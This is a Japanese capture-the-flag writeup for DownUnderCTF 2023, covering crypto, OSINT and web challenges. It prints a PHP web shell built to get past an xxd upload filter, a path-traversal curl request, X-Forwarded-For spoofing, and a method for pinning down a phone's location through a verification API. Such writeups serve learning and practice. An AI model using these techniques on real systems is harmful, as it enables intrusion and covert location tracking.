DownUnderCTF 2023 Writeup

この大会は2023/9/1 18:30(JST)~2023/9/3 18:30(JST)に開催されました。
今回もチームで参戦。結果は2675点で1424チーム中112位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (beginner, misc)

Discordに入り、#rulesチャネルの動画をダウンロードする。この動画の最後の方でメッセージが表示されたので、その単語の頭文字をつなげる。

DUCTF{REJECTHUMANITYRETURNTOOURSUPPORTQUEUE}

proxed (beginner, web)

X-Forwarded-Forに31.33.33.7を指定すれば、フラグが得られる。

$ curl http://proxed.duc.tf:30019/ -H 'X-Forwarded-For: 31.33.33.7'
DUCTF{17_533m5_w3_f0rg07_70_pr0x}
DUCTF{17_533m5_w3_f0rg07_70_pr0x}

𝕏 (beginner, misc)

順にリンク先にある画像の文字を書き出してみる。

https://twitter.com/DownUnderCTF/status/1697304493409337835
DUCTF{
Tha
nksE
l0nW

https://twitter.com/DownUnderCTF/status/1697308270439051484
tter
eCantC
all1t
TheTw1

https://twitter.com/DownUnderCTF/status/1697312042821066846
Fl4g
N0w}

少し順序を変え、結合する。

DUCTF{ThanksEl0nWeCantCall1tTheTw1tterFl4gN0w}

static file server (beginner, web)

パストラバーサルの問題。

$ curl --path-as-is https://web-static-file-server-9af22c2b5640.2023.ductf.dev/files/../../flag.txt
DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}
DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}

Welcome to DUCTF! (beginner, misc)

$ cat welcome_to_ductf.aplusplus 
¡***Ɔ SɹƎƎHƆ

;„¡Ⅎ┴Ɔ ǝɥʇ ɟo ʇsǝɹ ǝɥʇ ʎoɾuƎ„ ƎWWIפ

;()Ⅎ┴Ɔ_ƎH┴

<
;H┴MƎɹ┴S + ɹnoHʎddɐH + Ⅎ∀˥פ ƎWWIפ
;„ɔoɹɔ ɐ ɹɐǝu ʇᴉ ʇɟǝl oƃuoɹp ʎpoolq ʇɥƃᴉɹ ǝɯos 'ʇᴉ punoɟ I 'ǝʇɐɯ llǝɥ ʎpoolq„ ƎWWIפ  
<
;SIH┴ ʞƆ∩Ⅎ Ǝ┴∀W ¿ 0 == (9 '0)ǝɔᴉDǝɯoSʞɔnɥƆ NOʞƆƎɹ ∀⅄

;(000Ɩ)ʞɔɐSǝɥ┴ʇᴉH

;„...ƃɐlɟ ɐʎ sᴉ ɥɐlɐƃ ,uᴉɯɐlɟ ǝɥʇ ǝɹǝɥM„ ƎWWIפ    
> (¡H∀N 'H∀Ǝ⅄) ˥I┴N∩ ┴∩Oq∀ʞ˥∀M ∀ ƎΛ∀H ˥˥,I NOʞƆƎɹ I
;„ƎɹƐɥʍƐɯoϛ_ʞɔ0lƆoϛ-sʇƖ„ = ɹnoHʎddɐH NOʞƆƎɹ I    
;„¡ǝʇɐɯ ɐʎ ɹoɟ ƃɐlɟ ǝɥʇ u,ɥɔʇǝℲ„ ƎWWIפ
> () SI Ⅎ┴Ɔ_ƎH┴ ɹOℲ ∀ʞʞ∀⅄ Dɹ∀H ƎH┴
;„{Ⅎ┴Ɔ∩D„ = Ⅎ∀˥פ NOʞƆƎɹ I

  
<
;(000ϛ)ʞɔɐSǝɥ┴ʇᴉH  
  
<  
;פ∀˥Ⅎ_∀⅄ ƎWWIפ    
> ¿ Ɩ == Qqq_ƎW NOʞƆƎɹ ∀⅄  

;}¡ǝʇɐWǝɹǝHʇ,uᴉ∀ƃɐlℲɐ⅄{∩DℲ┴Ɔ„ = פ∀˥Ⅎ_∀⅄ NOʞƆƎɹ I  
;Ɩ = Qqq_ƎW NOʞƆƎɹ I  
  
;(000ϛ)ʞɔɐSǝɥ┴ʇᴉH  
;„פ∀˥Ⅎ ƎH┴ ┴NIɹԀ S┴Ǝ˥ '¡Ǝ┴∀W H∀Ǝ⅄„ ƎWWIפ  
> () SI פ∀˥Ⅎ_┴NIɹԀ ɹOℲ ∀ʞʞ∀⅄ Dɹ∀H ƎH┴

;ǝɔᴉDǝɯoSʞɔnɥƆ ƆN∩Ⅎ ƎW ┴HOԀWI
;„}„ = H┴MƎɹ┴S NOʞƆƎɹ I
;ʞɔɐSǝɥ┴ʇᴉH ƆN∩Ⅎ ƎW ┴HOԀWI

¡Ǝ┴∀W ⅄∀D,פ

調べてみたら、Aussie++という言語らしいことがわかる。https://aussieplusplus.vercel.app/deで実行する。

Fetch'n the flag for ya mate!
Where the flamin' galah is ya flag...
bloody hell mate, I found it, some right bloody drongo left it near a croc
DUCTF{1ts-5oCl0ck_5om3wh3rE}
Enjoy the rest of the CTF!
DUCTF{1ts-5oCl0ck_5om3wh3rE}

downunderflow (beginner, pwn)

整数オーバーフローでindexに2147483655を指定すればよい。

$ nc 2023.ductf.dev 30025
Select user to log in as: 2147483655
Logging in as admin
Welcome admin.
ls
flag.txt
pwn
cat flag.txt
DUCTF{-65529_==_7_(mod_65536)}
DUCTF{-65529_==_7_(mod_65536)}

complementary (beginner, crypto)

フラグの前半の数値化したものと後半の数値化したものの積がわかっている。nをfactordbで素因数分解する。

n = 2 * 3 * 19 * 31 * 83 * 3331 * 165219437 * 550618493 * 66969810339969829 * 1168302403781268101731523384107546514884411261

片方を1168302403781268101731523384107546514884411261をベースにして調整する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    n = int(f.read().rstrip())

m2 = 1168302403781268101731523384107546514884411261
m1 = n // m2

flag1 = long_to_bytes(m1)
flag2 = long_to_bytes(m2)
flag = (flag1 + flag2).decode()
print(flag)
DUCTF{is_1nt3ger_f4ct0r1s4t10n_h4rd?}

blinkybill (beginner, misc)

Audacityで開き、スペクトログラムを見ると、モールス信号が見える。

... .-. .. -. --. -... .- -.-. -.- - .... . - .-. . . ...

デコードする。

SRINGBACKTHETREES

英語としておかしい気がする。最初に-を追加する。

-... .-. .. -. --. -... .- -.-. -.- - .... . - .-. . . ...

デコードする。

BRINGBACKTHETREES
DUCTF{BRINGBACKTHETREES}

randomly chosen (beginner, crypto)

seedの範囲が狭いので、ブルートフォースでフラグを求める。

#!/usr/bin/env python3
import random

with open('output.txt', 'r') as f:
    out = f.read().rstrip()

k = len(out)
len_flag = k // 5

for seed in range(1337):
    random.seed(seed)
    s = list(range(len_flag))
    d = random.choices(s, k=k)
    flag = ''
    error = False
    for i in range(len_flag):
        if i in d:
            flag += out[d.index(i)]
        else:
            error = True
            break
    if error == False and flag.startswith('DUCTF{'):
        print(flag)
        break
DUCTF{is_r4nd0mn3ss_d3t3rm1n1st1c?_cba67ea78f19bcaefd9068f1a}

xxd-server (beginner, web)

phpのWeb Shellをアップロードして実行する。ただし、16進数ダンプの部分をコメントアウトする必要がある。
以下の内容で作成する。

0123456789abcdef
<?php /*        
*/system($_GET/*
*/["cmd"]);/*   
*/ ?>
$ cat webshell.php              
<?php /*        */system($_GET/**/["cmd"]);/*   */ ?>

このwebshell.phpをアップロードする。
https://web-xxd-server-2680de9c070f.2023.ductf.dev/uploads/6ff9ee9190379bbd/webshell.php?cmd=pwdにアクセスする。

00000000: 3c3f 7068 7020 2f2a 2020 2020 2020 2020 /var/www/html/uploads/6ff9ee9190379bbd

https://web-xxd-server-2680de9c070f.2023.ductf.dev/uploads/6ff9ee9190379bbd/webshell.php?cmd=ls%20-l%20/にアクセスする。

00000000: 3c3f 7068 7020 2f2a 2020 2020 2020 2020  total 60
lrwxrwxrwx   1 root root    7 Aug 14 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Jul 14 16:00 boot
drwxr-xr-x   5 root root  360 Sep  1 09:59 dev
drwxr-xr-x   1 root root 4096 Sep  1 09:59 etc
-rw-r--r--   1 root root   74 Aug 31 02:13 flag
drwxr-xr-x   2 root root 4096 Jul 14 16:00 home
lrwxrwxrwx   1 root root    7 Aug 14 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Aug 14 00:00 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Aug 14 00:00 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Aug 14 00:00 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Aug 14 00:00 media
drwxr-xr-x   2 root root 4096 Aug 14 00:00 mnt
drwxr-xr-x   2 root root 4096 Aug 14 00:00 opt
dr-xr-xr-x 470 root root    0 Sep  1 09:59 proc
drwx------   1 root root 4096 Aug 16 03:42 root
drwxr-xr-x   1 root root 4096 Aug 16 02:16 run
lrwxrwxrwx   1 root root    8 Aug 14 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Aug 14 00:00 srv
dr-xr-xr-x  13 root root    0 Sep  1 09:59 sys
drwxrwxrwt   1 root root 4096 Sep  2 08:17 tmp
drwxr-xr-x   1 root root 4096 Aug 14 00:00 usr
drwxr-xr-x   1 root root 4096 Aug 30 04:21 var

https://web-xxd-server-2680de9c070f.2023.ductf.dev/uploads/6ff9ee9190379bbd/webshell.php?cmd=cat%20/flagにアクセスする。

00000000: 3c3f 7068 7020 2f2a 2020 2020 2020 2020 DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}
DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}

flag art (beginner, crypto)

スペース以外で表示されている文字のみを考え、4文字でmessage1文字に対するものになる。それぞれ2, 3, 5, 7で割ったときの余りがわかるので、中国剰余定理(CRT)を使って元のメッセージを復号する。

#!/usr/bin/env python3
from sympy.ntheory.modular import *

with open('output.txt', 'r') as f:
    canvas = f.read()

canvas = canvas.replace(' ', '').replace('\n', '')
palette = '.=w-o^*'

message = ''
for i in range(0, len(canvas), 4):
    m = [2, 3, 5, 7]
    a = []
    for j in range(4):
        a.append(palette.index(canvas[i+j]))
    c, _ = crt(m, a)
    message += chr(c)
print(message)

復号結果は以下の通り。

Congratulations on solving this challenge! The mask has 900 X's so here are some random words to make the message long enough. Your flag is: DUCTF{r3c0nstruct10n_0f_fl4g_fr0m_fl4g_4r7_by_l00kup_t4bl3_0r_ch1n3s3_r3m41nd3r1ng?}
DUCTF{r3c0nstruct10n_0f_fl4g_fr0m_fl4g_4r7_by_l00kup_t4bl3_0r_ch1n3s3_r3m41nd3r1ng?}

Excellent Vista! (osint)

$ exiftool ExcellentVista.jpg 
ExifTool Version Number         : 12.57
File Name                       : ExcellentVista.jpg
Directory                       : .
File Size                       : 2.7 MB
File Modification Date/Time     : 2023:09:01 23:04:43+09:00
File Access Date/Time           : 2023:09:01 23:09:22+09:00
File Inode Change Date/Time     : 2023:09:01 23:07:31+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Date/Time Original              : 2023:08:31 22:58:56
Create Date                     : 2023:08:31 22:58:56
Sub Sec Time Original           : 00
Sub Sec Time Digitized          : 00
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : South
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
GPS Speed Ref                   : km/h
GPS Speed                       : 0
GPS Img Direction Ref           : True North
GPS Img Direction               : 122.5013812
GPS Dest Bearing Ref            : True North
GPS Dest Bearing                : 122.5013812
GPS Horizontal Positioning Error: 6.055886243 m
Padding                         : (Binary data 2060 bytes, use -b option to extract)
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Image Width                     : 4032
Image Height                    : 3024
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4032x3024
Megapixels                      : 12.2
Create Date                     : 2023:08:31 22:58:56.00
Date/Time Original              : 2023:08:31 22:58:56.00
GPS Altitude                    : 70.5 m Above Sea Level
GPS Latitude                    : 29 deg 30' 34.33" S
GPS Longitude                   : 153 deg 21' 34.46" E
GPS Position                    : 29 deg 30' 34.33" S, 153 deg 21' 34.46" E

Google mapで以下の緯度、経度を調べる。

29°30'34.33"S 153°21'34.46"E

近くに以下のポイントがある。

Durrangan Lookout
DUCTF{Durrangan_Lookout}

Bridget's Back! (osint)

Google画像検索すると、ゴールデンゲートブリッジであることがわかる。さらに周辺で写真のように見える場所を探すと、Vista Pointであることがわかる。

DUCTF{Vista_Point}

Comeacroppa (osint)

画像の上半分に絞り、画像検索すると、Scotch Pie Houseの画像が一番近いことがわかる。

https://www.alamy.com/scotch-pie-house-built-in-1866-located-on-the-north-end-of-main-street-maldon-victoria-australia-maldon-is-a-historic-goldrush-town-and-in-1966-w-image347751602.html

場所は Maldon。

DUCTF{maldon}

faraday (osint)

APIで少しずつ範囲を絞っていく。ビクトリア州の真ん中あたりの緯度、経度をGoogle mapで確認する。

-37.031768, 144.772990

ここから中心や半径を調整し確認する。

■-37.031768, 144.772990
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -37.031768,
      "longitude": 144.772990
    },
    "radius": 200000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": "Sat Sep  2 05:09:25 2023",
  "verificationResult": "TRUE"
}

        :
        :

■-37.0, 144.79
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -37.17,
      "longitude": 144.79
    },
    "radius": 180000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": "Sat Sep  2 05:20:44 2023",
  "verificationResult": "TRUE"
}

        :
        :

■-35.53, 144.79
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -35.53,
      "longitude": 144.79
    },
    "radius": 180000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": "Sat Sep  2 05:35:10 2023",
  "verificationResult": "TRUE"
}

■-35.52, 144.79
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -35.52,
      "longitude": 144.79
    },
    "radius": 180000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": null,
  "verificationResult": "FALSE"
}

最北端は-35.53。

■-37.39, 144.79
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -37.39,
      "longitude": 144.79
    },
    "radius": 180000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": "Sat Sep  2 05:38:10 2023",
  "verificationResult": "TRUE"
}

■-37.40, 144.79
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -37.40,
      "longitude": 144.79
    },
    "radius": 180000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": null,
  "verificationResult": "FALSE"
}

最南端は-37.39。
目的の緯度は最北端と最南端の真ん中あたりなので、-36.46あたり。
半径を小さくし、経度の範囲を調べる。

■-36.46, 144.76
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -36.46,
      "longitude": 144.76
    },
    "radius": 150000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": "Sat Sep  2 05:49:20 2023",
  "verificationResult": "TRUE"
}

■-36.46, 144.75
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -36.46,
      "longitude": 144.75
    },
    "radius": 150000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": null,
  "verificationResult": "FALSE"
}

最西端は144.75。

■-36.46, 148.10
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -36.46,
      "longitude": 148.10
    },
    "radius": 150000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": "Sat Sep  2 05:57:04 2023",
  "verificationResult": "TRUE"
}

■-36.46, 148.11
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -36.46,
      "longitude": 148.11
    },
    "radius": 150000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": null,
  "verificationResult": "FALSE"
}

最東端は148.10。
目的の経度は最東端と最西端の真ん中あたりなので、146.425あたり。
同じようにして、範囲を絞っていく。

■-36.46, 146.425
{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -36.46,
      "longitude": 146.425
    },
    "radius": 2000
  },
  "maxAge": 120
}

レスポンス
{
  "lastLocationTime": "Sat Sep  2 06:00:16 2023",
  "verificationResult": "TRUE"
}

この緯度、経度をGoogle mapで調べる。街の名前は Milawa。

DUCTF{milawa}

apbq rsa i (crypto)

RSA暗号で、p, qについてヒントがある。ヒントは2組の(a, b)について、a * p + b * qの情報(aは2**12以下、bは2**312以下)がある。

a0 * p + b0 * q = h0
a1 * p + b1 * q = h1
    ↓
a0 * a1 * p + a1 * b0 * q = h0 * a1
a0 * a1 * p + a0 * b1 * q = h1 * a0
  ↓
(a1 * b0 - a0 * b1) * q = h0 * a1 - h1 * a0

a0, a1のビット数はそれ程大きくないため、ブルートフォースし、次の値とnの公約数が1より大きくなるものを探す。

h0 * a1 - h1 * a0

qの値がわかれば、pの値を算出し、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e  = 0x10001
n = int(params[0].split(' = ')[1])
c = int(params[1].split(' = ')[1])
hints = eval(params[2].split(' = ')[1])

found = False
for a0 in range(2**12 + 1):
    for a1 in range(2**12 + 1):
        q = GCD(hints[0] * a1 - hints[1] * a0, n)
        if q > 1 and q != n:
            found = True
            break
    if found:
        break

p = n // q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
DUCTF{gcd_1s_a_g00d_alg0r1thm_f0r_th3_t00lbox}

Survey (begginer, misc)

アンケートの最後にフラグの画像があった。

DUCTF{48_fUn_hoUrs_thx_4_playing_DUCTF4}